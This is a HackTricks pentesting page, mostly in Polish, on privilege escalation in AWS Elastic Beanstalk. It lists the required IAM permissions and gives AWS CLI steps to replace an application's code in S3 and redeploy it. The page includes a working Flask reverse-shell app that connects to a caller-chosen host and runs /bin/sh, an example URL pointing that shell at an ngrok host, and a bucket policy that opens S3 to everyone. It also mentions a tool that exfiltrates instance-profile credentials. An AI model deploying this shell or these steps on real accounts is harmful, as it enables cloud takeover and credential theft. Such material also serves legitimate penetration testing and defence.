AWS - Elastic Beanstalk Privesc

Wsparcie dla HackTricks

Elastic Beanstalk

Więcej informacji o Elastic Beanstalk w:

AWS - Elastic Beanstalk Enum

Aby wykonać wrażliwe działania w Beanstalk, będziesz potrzebować wielu wrażliwych uprawnień w wielu różnych usługach. Możesz sprawdzić na przykład uprawnienia nadane arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, uprawnienia do zapisu w S3 i wiele innych

Mając uprawnienia do zapisu w koszyku S3 zawierającym kod środowiska oraz uprawnienia do przebudowy aplikacji (potrzebne jest elasticbeanstalk:RebuildEnvironment i kilka innych związanych z S3, EC2 i Cloudformation), możesz zmodyfikować kod, przebudować aplikację, a przy następnym dostępie do aplikacji wykona ona twój nowy kod, co pozwala atakującemu na kompromitację aplikacji i poświadczeń roli IAM.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, i inne...

Wymienione oraz kilka uprawnień S3, EC2, cloudformation, autoscaling i elasticloadbalancing są niezbędne do stworzenia surowego scenariusza Elastic Beanstalk od podstaw.

  • Utwórz aplikację AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Jeśli środowisko zostało już utworzone i nie chcesz tworzyć nowego, możesz po prostu zaktualizować istniejące.

  • Spakuj kod aplikacji i zależności do pliku ZIP:

zip -r MyApp.zip .
  • Prześlij plik ZIP do koszyka S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Utwórz wersję aplikacji AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Wdróż wersję aplikacji do swojego środowiska AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses

Przede wszystkim musisz stworzyć legitny Beanstalk environment z kodem, który chciałbyś uruchomić w ofierze, postępując zgodnie z poprzednimi krokami. Potencjalnie prosty zip zawierający te 2 pliki:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

Gdy masz swoje własne środowisko Beanstalk uruchomione z twoim rev shellem, nadszedł czas, aby je migracja do środowiska ofiary. Aby to zrobić, musisz zaktualizować politykę Bucket swojego koszyka S3 Beanstalk, aby ofiara mogła uzyskać do niego dostęp (Zauważ, że to otworzy Bucket dla WSZYSTKICH):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Wsparcie HackTricks

Last updated